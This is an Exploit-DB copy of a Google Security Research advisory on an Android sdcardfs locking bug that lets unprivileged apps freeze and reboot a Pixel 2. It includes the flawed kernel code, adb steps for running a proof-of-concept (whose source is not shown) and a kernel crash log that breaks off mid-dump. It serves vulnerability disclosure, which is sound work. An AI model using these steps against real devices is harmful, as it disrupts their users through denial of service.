Exploit-DB #45558
Description: Android - sdcardfs Changes current->fs Without Proper Locking
Type: dos
Platform: android
Date: 2018-10-08
Author: Google Security Research

Exploit:
Tested on a Pixel 2 (walleye):
[ro.build.ab_update]: [true]
[ro.build.characteristics]: [nosdcard]
[ro.build.date]: [Mon Jun  4 22:10:18 UTC 2018]
[ro.build.date.utc]: [[PII_REDACTED]]
[ro.build.description]: [walleye-user 8.1.0 OPM2.171026.006.G1 4820017 release-keys]
[ro.build.display.id]: [OPM2.171026.006.G1]
[ro.build.expect.baseband]: [g8998-00[PII_REDACTED]358]
[ro.build.expect.bootloader]: [mw8[PII_REDACTED].00]
[ro.build.fingerprint]: [google/walleye/walleye:8.1.0/OPM2.171026.006.G1/4820017:user/release-keys]
[ro.build.flavor]: [walleye-user]
[ro.build.host]: [wprd10.hot.corp.google.com]
[ro.build.id]: [OPM2.171026.006.G1]
[ro.build.product]: [walleye]
[ro.build.system_root_image]: [true]
[ro.build.tags]: [release-keys]
[ro.build.type]: [user]
[ro.build.user]: [android-build]
[ro.build.version.all_codenames]: [REL]
[ro.build.version.base_os]: []
[ro.build.version.codename]: [REL]
[ro.build.version.incremental]: [4820017]
[ro.build.version.preview_sdk]: [0]
[ro.build.version.release]: [8.1.0]
[ro.build.version.sdk]: [27]
[ro.build.version.security_patch]: [2018-07-05]


Android used to use a FUSE filesystem to emulate external storage, but nowadays
an in-kernel filesystem called "sdcardfs" is used instead. This filesystem does
not exist in the upstream Linux kernel, but does exist in the AOSP common kernel
tree.

In sdcardfs_create() and sdcardfs_mkdir()
(https://android.googlesource.com/kernel/common/+/android-4.14/fs/sdcardfs/inode.c),
the following code is used to temporarily override the umask while calling into
the lower filesystem:

        /* temporarily change umask for lower fs write */
        saved_fs = current->fs;
        copied_fs = copy_fs_struct(current->fs);
        if (!copied_fs) {
                err = -ENOMEM;
                goto out_unlock;
        }
        current->fs = copied_fs;
        current->fs->umask = 0;
        [... access lower filesystem ...]
        current->fs = saved_fs;
        free_fs_struct(copied_fs);

This is wrong; as a comment in include/linux/sched.h explains, ->fs must not be
accessed without holding the corresponding task lock:

        /* Protection against (de-)allocation: mm, files, fs, tty, keyrings, mems_allowed, mempolicy: */
        spinlock_t                      alloc_lock;

For example, the procfs per-task entries "root" and "cwd" access the ->fs member
of remote tasks under the task lock:

        static int proc_cwd_link(struct dentry *dentry, struct path *path)
        {
                struct task_struct *task = get_proc_task(d_inode(dentry));
                int result = -ENOENT;

                if (task) {
                        task_lock(task);
                        if (task->fs) {
                                get_fs_pwd(task->fs, path);
                                result = 0;
                        }
                        task_unlock(task);
                        put_task_struct(task);
                }
                return result;
        }

This bug can be triggered by any context that can create files in an sdcardfs
mount, so normal applications with zero permissions can hit it (by using
/sdcard/Android/data/{packagename}/, which does not require the external storage
permission).


To reproduce the bug in a simple way, compile the attached poc_viaadb.c:

$ /usr/local/google/home/jannh/my-android-toolchain/bin/aarch64-linux-android-gcc -static -o poc_viaadb poc_viaadb.c -pthread

Push the resulting binary to the device, and run it:

        $ adb push poc_viaadb /data/local/tmp/
        poc_viaadb: 1 file pushed. 13.5 MB/s (2640776 bytes in 0.187s)
        $ adb shell /data/local/tmp/poc_viaadb

Now you should see a lot of "target: [...]" messages, followed by the device
freezing and rebooting.

After rebooting, pull a bug report via ADB ("adb bugreport") and look for a
crash message in the "LAST KMSG" section. The type of crash you see might vary,
since there's a lot of different ways in which this code can crash, but here's
an example of how it might look - a crash inside the memory allocator:


================================================================================
[  997.010495] c7   1718 Unable to handle kernel paging request at virtual address fffffff2873e1180
[  997.010522] c7   1718 pgd = [PII_REDACTED]
[  997.010537] [fffffff2873e1180] *pgd=[PII_REDACTED], *pud=[PII_REDACTED]
[  997.010632] c7   1718 ------------[ cut here ]------------
[  997.010646] c7   1718 Kernel BUG at [PII_REDACTED] [verbose debug info unavailable]
[  997.010661] c7   1718 Internal error: Oops - BUG: 96000005 [#1] PREEMPT SMP
[  997.010675] Modules linked in: htc_battery synaptics_dsx_rmi_dev_htc synaptics_dsx_fw_update_htc synaptics_dsx_core_htc
[  997.010721] c7   1718 CPU: 7 PID: 1718 Comm: GLThread 41 Not tainted 4.4.88-g3acf2d53921d #1
[  997.010736] c7   1718 Hardware name: Qualcomm Technologies, Inc. MSM8998 v2.1 (DT)
[  997.010750] c7   1718 task: [PII_REDACTED] task.stack: [PII_REDACTED]
[  997.010776] c7   1718 PC is at kmem_cache_alloc+0x88/0x228
[  997.010798] c7   1718 LR is at kgsl_drawobj_cmd_add_cmdlist+0x120/0x1e4
[  997.010812] c7   1718 pc : [<ffffff9f4d9df18c>] lr : [<ffffff9f4de4e054>] pstate: 60400145
[  997.010824] c7   1718 sp : fffffff2058ebbb0
[  997.010836] x29: fffffff2058ebbf0 x28: fffffff2089c9b80 
[  997.010868] x27: ffffff9f501f4000 x26: fffffff2089c9b80 
[  997.010893] x25: fffffff18e07a448 x24: [PII_REDACTED] 
[  997.010912] x23: fffffff2089c9b80 x22: fffffff239402b00 
[  997.010930] x21: fffffff2873e1180 x20:[PII_REDACTED]4000c0 
[  997.010952] x19: ffffff9f4de4e054 x18: [PII_REDACTED] 
[  997.010959] x17: 0000007ea408ae34 x16: 00000000b0000000 
[  997.010965] x15: 000000017e4c0000 x14: [PII_REDACTED] 
[  997.010972] x13: ffffff9f5008f490 x12: [PII_REDACTED] 
[  997.010978] x11:[PII_REDACTED]12abd7 x10:[PII_REDACTED]12abcf 
[  997.010984] x9 :